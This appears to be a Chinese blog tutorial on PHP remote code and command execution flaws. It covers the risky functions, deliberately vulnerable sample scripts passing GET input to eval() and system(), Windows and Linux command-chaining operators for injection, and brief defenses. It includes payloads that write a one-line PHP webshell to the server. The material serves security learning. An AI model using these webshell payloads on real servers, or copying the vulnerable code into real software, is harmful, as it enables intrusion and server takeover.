RCE(远程代码/命令执行)漏洞
目录
- 前言
- 简介
- 漏洞挖掘
- 代码命令执行函数利用
- 系统命令执行函数利用
- 命令执行绕过
- 常见管道符
- 其他绕过
- 防护
- 总结
前言
个人观点,若有误请指教
简介
- RCE(Remote Code/Command Execute)为远程代码/命令执行的漏洞
- 漏洞产生的原因:在Web应用中开发者为了灵活性,简洁性等会让应用去调用代码或者系统命令执行函数去处理。同时没有考虑用户是否可以控制这些函数的参数问题(若不能控制这些参数,自然也没有这个漏洞;若能控制这些参数,也可能出现考虑了但没有完全防住或者压根没考虑 😕),以至于这个漏洞的产生。
漏洞挖掘
- 白盒测试,查看命令执行函数是否做过滤。命令执行函数如下:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP系统执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
注1:若代码执行函数的输入参数被``反引号包含时,则此时相当于系统执行函数,如输入值为echo (反引号)dir(反引号);
注2:由反引号括起来的字符串被当做shell命令执行,其标准输出结果取代整个反引号部分。
注3:反引号不区分操作系统,无论Window还是Linux都有这个现象。
- 黑盒检测
①漏洞扫描工具。
②公开漏洞。
③手工看参数及其功能,根据其特点来判断有没有漏洞。
代码命令执行函数利用
- 这里以最普通的eval函数为例,下面给出php漏洞代码
<?php
$code = $_GET['x'];
echo $code;
echo "</br>";
eval($code);
?>
-
测试echo

-
测试phpinfo

-
测试反引号


注:这里测试的系统是window系统。 -
写入一句话木马

注:参数为:$file=fopen(“pin.php”,“w”) or die(“false”); fwrite($file, “<?php @eval(\$_POST['ys']);?>”); fclose($file);

系统命令执行函数利用
- 这里以最普通的system函数为例,下面给出php漏洞代码
<?php
$code = $_GET['x'];
echo $code;
echo "</br>";
system($code);
?>
-
测试dir

-
测试ipconfig

-
查看文件内容

注:这里是windows系统,linux系统使用的是cat。 -
写入一句话木马

注:参数为:echo ^<?php @eval($_POST[‘ys’]);?^> > pin.php。其中^的作用是转义<。
命令执行绕过
常见管道符
-
windows
① “|”:直接执行后面的语句(前面的语句是错是对无关紧要)。

② “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。


③ “&”:两条命令都执行,前面的语句可真可假。


④ “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。


-
linux
① “;”:执行完前面的语句再执行后面的语句(前面的语句是错是对无关紧要)。

②“|”:显示后面语句的执行结果(前面的语句是错是对无关紧要)。

③“||”:当前面的语句执行出错时,执行后面的语句。


注:原来在kali中的ping127.0.0.0不是一条错误的语句!不过影响不大,上面的就不改的。(在window是错误的)
④ “&”:两条命令都执行,前面的语句可真可假(与;基本一致,唯一不同的是:当前面语句出错时,前后两条语句的结果出现的顺序相反。在window中报错顺序与;一致)。



注:这里换一下命令,因为本人在测试的时候,这里很奇怪的,ping命令无法使用Ctrl+C来终止命令。无论使用什么命令也是一样的,无论前面是对还是错,后面的语句都可以执行。
⑤“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。


其他绕过
- 边学边写吧,可以先观看博主1的文章、博主2的文章。(博主的绕过方法都是基于Linux系统的,window系统应该也差不多,只不过命令可能要换一下)
防护
- 敏感函数禁止
函数能禁止就禁止(有些函数可能需要使用无法被禁止),不行就变量过滤或者固定。 - 变量过滤或者固定
固定比起过滤要好,变量实在太多了,容易被绕过。 - WAF产品
这就不用说了吧。
总结
- 任何漏洞的产生的充分必要条件有两个:
①漏洞函数
②可控参数 - 上述的RCE漏洞的利用只给出小部分。其他的利用如下:
php代码可以干什么,那么代码命令执行函数利用就可以实现什么。
命令窗口可以干什么,那么系统命令执行函数利用就可以实现什么。
换句话说,当你知道存在RCE漏洞而且你想干某件事的时候,直接上网查php代码(命令窗口)干某事的操作流程,然后把这流程当参数传递给后台就成功完成了目的。

发表评论 取消回复